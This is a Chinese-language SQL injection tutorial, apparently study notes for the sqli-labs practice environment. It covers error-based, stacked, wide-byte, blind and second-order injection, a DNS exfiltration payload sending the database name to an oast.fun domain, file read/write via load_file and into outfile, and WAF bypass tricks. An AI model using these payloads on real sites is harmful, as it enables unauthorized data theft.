一、Sql注入简介
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
二、 SQL注入的简单流程
向页面传入一些指令 (SQL 语句 ) ,检查指令是否被执行,如果被执行,说明页面是可能存在 SQL 注入漏洞的;如果不能被执行,说明可能不存在 SQL 注入漏洞常用的闭合点 : '' 单引号 "" 双引号 (' ') (" ") * *
第二步:判断数据表的字段数量
思路 : order by 字段编号
第三步:找到页面的显错位
结合union select 语句查看页面显错位
第四步:判断这个站点/页面用的数据的版本和当前数据库的名称
select database()select version()
第五步:判断表名
使用 information_schema 库中的 tables 表
第六步:判断字段名
使用information_schema库中的columns表
第七步:查询表中的数据(拖库)
select 各种查询
三、sql注入漏洞方式
1、报错注入
通过数据库的抛出异常信息点将我们想要的信息一并显示出来
updatexml( 目标 xml 内容, xml 文档路径,需要替换的内容 )在路径的位置上输入非法符号就可以产生报错,例如 ! # $# 语句的构造方式select updatexml(1,concat('%',database()),1)# 实际应用的小案例select updatexml(1,concat('%',(select group_concat(column_name) frominformation_schema.columns where table_name='tb1')),1)
获取库名和版本信息
1' and updatexml(1,concat('!',database()),1) -- qqqqqq // 获取数据库名称1' and updatexml(1,concat('~',version()),2) -- qqqqqqq
获取库中的表的名字
1' and updatexml(1,concat('!',(select group_concat(table_name) frominformation_schema.tables where table_schema="security")),1) -- qqqqqqq
获取users的表结构(获取表的字段名字)
1' and updatexml(1,concat('!',(select group_concat(column_name) frominformation_schema.columns where table_name="users" and table_schema="security")),1) --qqqqqqq
获取users表的username的所有记录
1' and updatexml(1,concat('!',(select group_concat(email_id) from emails )),1) -- qqqqqqq
2.堆叠注入
堆叠查询可以执行多条 SQL 语句,语句之间可以使用 (;) 作为分割符。堆叠注入主要是利用在第二条执行语句当 中执行攻击语句
● 数据库需要支持堆叠功能● 传入的堆叠语句能够被后端程序作为sql 语句来执行
3.宽字节注入
宽字节注入,在 SQL 注入的时候,一般开启 gpc ,过滤掉特殊字符,实现防注入。但是如果数据库设置宽字节字符集 gbk ,会导致宽字节注入。通过宽字节逃逸 gpc 。目前市面上 gbk big5 可以实现 gpc 逃逸。注意 : \ %5c %df%5c %9c%5c %9d%5c
gpc逃逸过程
%df%27===> ( addslashes ) ===> %df%5c%27 ===>gbk 字符集 == 》運 '
魔术引号原理
$a = addslashes($_GET['name']);// 魔术引号,碰到单引号或者双引号的时候自动加上 \$b = "select * from tb1 where n='$a'";//name=tom'echo $b;
http://www.sqli.zz/Less-32/?id=-1%df%27%20%2%20%20union%20select%201,2,3%20--+
4.DNS外带注入又称之为 DNS盲注
需要使用 dnslog 平台来进行注入需要使用的函数 【读取系统中的文件的内容】 load_fifile(' 路径 ') , 【向系统中写入文件】 into outfifile " 路径 " ,mysql 的配置文件是高权限的情况下才能使用mysql 的配置文件中的 secure_fifile_priv= 没有任何文件限制
案例:
select "abc" into outfile "D:/4.txt" # 将 abc 字符串写入到 D 盘下面的 4.txt 文件,文件如果不存在,那么 会自动创建这个文件select load_file("D:/4.txt") # 读取 D 盘下面的 4.TXT 文件中的内容
DNS平台
用来记录其他主机对此域名的解析记录
代码解析
# 通过 mysql 的 load_file 函数来实现对域名的解析# // 表示协议访问符号select load_file(concat('//',(selectdatabase()),'.chvgntf2vtc0000j9mmgge7apeeyyyyyd.oast.fun/123'))
5.盲注
布尔盲注
特点:没有显错位根据执行结果,如果为真则显示指定内容,如果是假什么也不现实
mysql 函数1. length('str')● 作用:计算字符串的长度2.substr('str',#,#)● 截取字符串当中的某一个或者某几个字符3. ascii('str')● 显示字符的ascii码
案例:
http://www.sqli.zz/Less-8/?id=1%27构造语句http://www.sqli.zz/Less-8/?id=1' order by 3 有数据 4 没数据http://www.sqli.zz/Less-8/?id=1' union select 1,2,3 --+因为没有显错位,看不到任何信息,只能靠猜测http://www.sqli.zz/Less-8/?id=-1' or length(database()) > 4 --+ // 猜测数据库名的字符串长度 8http://www.sqli.zz/Less-8/?id=-1' or ascii(substr(database(),1,1))<'100' --+ // 猜测数据库名的第一个字符 8http://www.sqli.zz/Less-8/?id=-1' or mid(database(),1,1)='a'# 猜测表的名字
自定义添加paylaod,第一 截取字符 第二 ascii数值设置
构造数值起始值和终止值、步长
时间盲注
条件:可以通过 sql 语句执行结果的真假来判断,是否存在注入点网络稳定、系统执行速度稳定
#LESS-9构造 payloadhttp://www.sqli.zz/Less-9/?id=1' and if((selectascii(substr(database(),1,1))>'97'),sleep(3),0)--+
六、二次注入
在第一次进行数据库插入数据的时候,使用了 GPC 或者 addslashe( 魔术引号 ) ,会对引号做转义 \ ,但是 \ 不会插入到数据库当中,所以我们写入数据的时候写入的还是原数据
原理:
业务场景
修改密码功能条件 : 已知用户名 ( 通过用户注册的昵称 ) 1'修改密码 输入用户名 ( 判断用户是否存在 )---> 修改密码使用的是 (update )
七、BASE64注入
BASE64 是一种编码格式, BASE64 注入,表示的是我们需要将恶意的 SQL 语句先进行一次 base64 转码,转码之后再传入的网站的后台程序
base64编码/解码的网站
https://tool.chinaz.com/tools/base64.aspx
判断注入方式 GET / POST / COOKIE
四、SQL注入的绕过
防注入 ---WAF( 网站防火墙 ) 可以拦截一些恶意注入行为。例如 IIS 安全狗, D 盾, 350webscan ,都可以对含有危害性语句做过滤和检测。绕过 : 找到 waf 没有防御到的地方,然后进行注入。
空格字符绕过
针对对空格做过滤的waf
可以代替空格的内容
%09 TAB 键(水平 )%0b TAB 键 ( 垂直 )%0a 换行%0c 新的一页%0d return 功能/**/ 代替空格/* ! * /
大小写绕过
WAF 如果针对大写字母 SELECT INSERT 等等的 SQL 语句做过滤了,可以尝试使用 大小写子母混合编写的 SQL 语句 例如 SELECT select SeLeCT
整数过滤
整数被过滤了,那么咱们使用 浮点型 ( 小数点的数字 )
NULL过滤
http://www.kpl.zz/index.php?id=null%20AnD%201.0=1.0%20--+
引号绕过
变量覆盖
http://www.kpl.zz/index.php?id=1%00&id=2%20--+
id=1&id=2 最终 id 是等于 2 的
join绕过
将union做了限制
select 1,2,3 union select 'a','b','c'
使用join进行绕过
select 1,2等同于select * from (select 1)a join (select 2)b